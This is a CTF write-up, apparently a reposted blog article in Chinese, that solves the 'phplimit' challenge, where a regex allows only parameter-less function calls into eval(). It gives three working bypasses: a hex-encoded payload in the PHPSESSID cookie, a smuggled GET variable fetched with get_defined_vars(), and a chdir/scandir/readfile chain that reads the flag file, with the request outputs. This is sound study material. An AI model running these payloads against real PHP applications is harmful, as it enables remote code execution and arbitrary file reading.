2018 Code Breaking(3) & phplimit

原創作者:一葉飄零

前言

本次是phplimit這道題,本篇文章提供了3種解法,即如何利用無參數函數進行RCE/任意文件讀取

題目概述

題目源碼如下:

<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
} else {
    show_source(__FILE__);
}

代碼非常清晰,首先

preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])

代碼會將$_GET['code']中滿足正則/[^\W]+\((?R)?\)/的部分,替換爲空,然後查看是否剩下的部分強等於;
如果滿足,則執行

eval($_GET['code']);

否則什麼都不做。那麼思路很明確,我們弄清楚正則即可進行RCE

[^\W]+\((?R)?\)

首先是[^\W]
對於\W,其意思等價於[^A-Za-z0-9_]
那麼我們知道,我們的input必須以此開頭
然後是括號匹配

\( ...... \)

括號中間爲

(?R)?

意思爲重複整個模式
簡單理解,我們可以輸入以下類型

a(b(c()))

但我們不能加參數,否則將無法匹配

a(c,d)

所以正則看完,題目的意思非常明確了:
我們只能input函數,但函數中不能使用參數,否則判斷句右邊經過替換,將不止剩餘分號;

漏洞點分析

那麼有沒有辦法通過無參數函數,達到RCE的目的呢?答案顯然是不可能的,沒有參數,怎麼傳遞我們需要執行的指令呢?
所以我們的目標也變得很明確:通過某種無參數函數獲取指定位置的變量value,達到RCE的目的。
那麼哪裏有我們可以控制的變量,並且還能通過無參數函數獲取到呢?
那麼思路又變得清晰了,http header就是我們的突破口。我們可以更改header中的各項屬性,以及其value。
那麼有沒有函數可以函數http header呢?
我們在php手冊中直接搜索
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-lXUgo8QV-1585017984293)(/images/2019-03-10-13-30-09.png)]
能用的手段很多,例如

getallheaders()
file_get_contents(array_pop(apache_request_headers()))

但如果我們測試的話,會發現均不可用,因爲其爲Apache函數
但我們看當前題目

< HTTP/1.1 200 OK
< Server: nginx/1.15.9
< Date: Sun, 10 Mar 2019 05:24:56 GMT
< Content-Type: text/html; charset=utf-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< X-Powered-By: PHP/5.6.40
<

其是nginx,所以之前的方式均無效了。

尋找nginx函數

那麼現在思路又進一步變爲:尋找nginx函數,以獲取http headers
查閱php手冊,並未發現相關可利用函數,於是此路終止。
那不能獲取http headers怎麼辦?我們又該如何進行參數的傳遞?
這裏我們可以轉換一下思路,之間獲取http headers,我們能獲取非常多的屬性,也就是說我們的可修改位置非常多,相當於一個面。但其實我們只要能夠獲取,並修改1條屬性就夠了,例如cookie或是X-Forward-For等等……
這樣就相當於從尋找一個面變成尋找一個點,難易程度就會大幅下降。
那麼最容易想到的應該就是cookie了

法1

我們在php手冊中,搜索cookie
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-tp6RAw3I-1585017984294)(/images/2019-03-10-13-44-40.png)]
我們點入session中,可以發現這樣一個函數
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-YQKAKi5d-1585017984296)(/images/2019-03-10-13-45-14.png)]

session_id ([ string $id ] ) : string

session_id() 可以用來獲取/設置當前會話 ID。
那麼我們可以用此方法來獲取phpsessionid,並且phpsessionid可控
但其有限制如下

文件會話管理器僅允許會話 ID 中使用以下字符:a-z A-Z 0-9 ,(逗號)和 - 減號)

但問題不大,實際上我們只要擁有

0-9,a-f

就夠了,因爲我們可以將16進制轉字符串,例如

>>> print 'echo "sky cool";'.encode('hex')
6563686f2022736b7920636f6f6c223b
php > eval(hex2bin('6563686f2022736b7920636f6f6c223b'));
sky cool

我們可以看到,成功的執行命令
也就是說,我們只要使用

eval(hex2bin(session_id()));

即可執行任意命令
但是當前題目並沒有開啓session_start()
所以我們這裏輸入如下即可

hex2bin(session_id(session_start()))

我們編寫腳本

import requests
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
payload = "echo 'sky cool';".encode('hex')
cookies = {
	'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-msmbqeHz-1585017984299)(/images/2019-03-10-14-00-08.png)]
那麼下面就是找flag即可

payload = "var_dump(scandir('./'));".encode('hex')

array(3) {
  [0]=>
  string(1) "."
  [1]=>
  string(2) ".."
  [2]=>
  string(9) "index.php"
}

payload = "var_dump(scandir('../'));".encode('hex')

array(4) {
  [0]=>
  string(1) "."
  [1]=>
  string(2) ".."
  [2]=>
  string(14) "flag_phpbyp4ss"
  [3]=>
  string(4) "html"
}

payload = "var_dump(file_get_contents('../flag_phpbyp4ss'));".encode('hex')

string(38) "flag{e86963ba34687d269b9faf526ce68cd7}"

最後可以成功getflag:

flag{e86963ba34687d269b9faf526ce68cd7}

法2

我們通過php session的控制,達成了RCE的目的,那麼我們有沒有其他類似的方法呢?
答案是肯定的,我們還可以通過我們傳遞的參數來進行RCE
有如下函數

get_defined_vars()

此函數返回一個包含所有已定義變量列表的多維數組,這些變量包括環境變量、服務器變量和用戶定義的變量。
我們測試一下

http://localhost/?code=var_dump(get_defined_vars());&a=2

得到回顯

array(4) { ["_GET"]=> array(2) { ["code"]=> string(29) "var_dump(get_defined_vars());" ["a"]=> string(1) "2" } ["_POST"]=> array(0) { } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } }

那麼如何將裏面的

["a"]=> string(1) "2" 

提取出來呢?
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-vqVnFOtc-1585017984302)(/images/2019-03-10-14-10-25.png)]
這裏有一系列提取位置的函數,我們首先使用current()函數
得到回顯

?code=var_dump(current(get_defined_vars()));&a=2

array(2) { ["code"]=> string(38) "var_dump(current(get_defined_vars()));" ["a"]=> string(1) "2" }

我們再取這個數組的最後一個

?code=var_dump(end(current(get_defined_vars())));&a=2

string(1) "2"

即得到了回顯。
那麼後面就比較簡單了,控制a進行RCE即可

?code=eval(end(current(get_defined_vars())));&a=phpinfo();

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-FsikUYLC-1585017984306)(/images/2019-03-10-14-12-57.png)]
然後getflag

?code=eval(end(current(get_defined_vars())));&a=readfile(%27../flag_phpbyp4ss%27);

即可拿到flag

flag{e86963ba34687d269b9faf526ce68cd7}

法3

爲什麼一定要RCE呢?這個題既然flag放在文件裏,我們能不能直接讀文件就行?
之前的方法都基於可以進行RCE,可以說我們是把題目難度又加大了,實際上,我們只進行任意文件讀取即可
那麼想讀文件,就必須進行目錄遍歷,沒有參數,怎麼進行目錄遍歷呢?
首先,我們可以利用getcwd()獲取當前目錄

?code=var_dump(getcwd());

string(13) "/var/www/html"

那麼怎麼進行當前目錄的目錄遍歷呢?
這裏用scandir()即可

?code=var_dump(scandir(getcwd()));

array(3) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" }

那麼既然不在這一層目錄,如何進行目錄上跳呢?
我們用dirname()即可

?code=var_dump(scandir(dirname(getcwd())));

array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(14) "flag_phpbyp4ss" [3]=> string(4) "html" }

即可發現flag文件,那麼問題又回到之前,如果取數組指定位置的值,我們需要取的位置是第3個,我們有的方法如下

current() 取第一個
next() 取第二個
end() 取最後一個

那麼怎麼取第三個呢?
我們這裏讓數組倒敘,然後取第二個即可

?code=var_dump(next(array_reverse(scandir(dirname(getcwd())))));

string(14) "flag_phpbyp4ss"

那麼讀文件

?code=file_get_contents(next(array_reverse(scandir(dirname(getcwd())))));

Warning: file_get_contents(flag_phpbyp4ss): failed to open stream: No such file or directory in /var/www/html/index.php(3) : eval()'d code on line 1

發現報錯了,我們找不到這個文件,因爲沒有../上跳呀,這該怎麼辦呢?
這裏我們發現有函數可以更改當前目錄

chdir ( string $directory ) : bool

將 PHP 的當前目錄改爲 directory。
所以我們這裏在

dirname(getcwd())

進行如下設置即可

chdir(dirname(getcwd()))

這樣我們的當前目錄就在/var/www下了
但此時,我們的值變爲了bool值,我們爲了遍歷目錄,需要讓他變回來,所以我們先進行目錄上跳

var_dump(dirname(chdir(dirname(getcwd()))));

string(1) "."

再列目錄

var_dump(scandir(dirname(chdir(dirname(getcwd())))));

array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(14) "flag_phpbyp4ss" [3]=> string(4) "html" }

然後就回到了之前的問題了,我們直接取文件,讀取即可

readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));

即可拿到flag

flag{e86963ba34687d269b9faf526ce68cd7}

小結

這種開放式的題目非常有趣,可以幫助我們瞭解許多php黑魔法和各種組合,我相信方法遠不止這3種,歡迎各位討論!

實驗室相關實驗:
1、滲透PHP代碼審計:
http://www.hetianlab.com/cour.do?w=1&c=C9d6c0ca797abec2017041916230700001(學習PHP代碼審計的基礎知識,爲以後的工作奠定基礎)
2、正則表達式:
http://www.hetianlab.com/expc.do?ec=ECID172.19.104.182014120311252200001(瞭解正則表達式,掌握sed和awk工具的使用)
3、PHP腳本語言基礎:
http://www.hetianlab.com/cour.do?w=1&c=C9d6c0ca797abec2017041916344500001(學會基礎的PHP編程)
4、Nginx代碼執行和目錄跨越漏洞:
http://www.hetianlab.com/expc.do?ec=ECID9d6c0ca797abec2016091916132900001(熟悉目錄跨越的成因和攻擊利用)

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章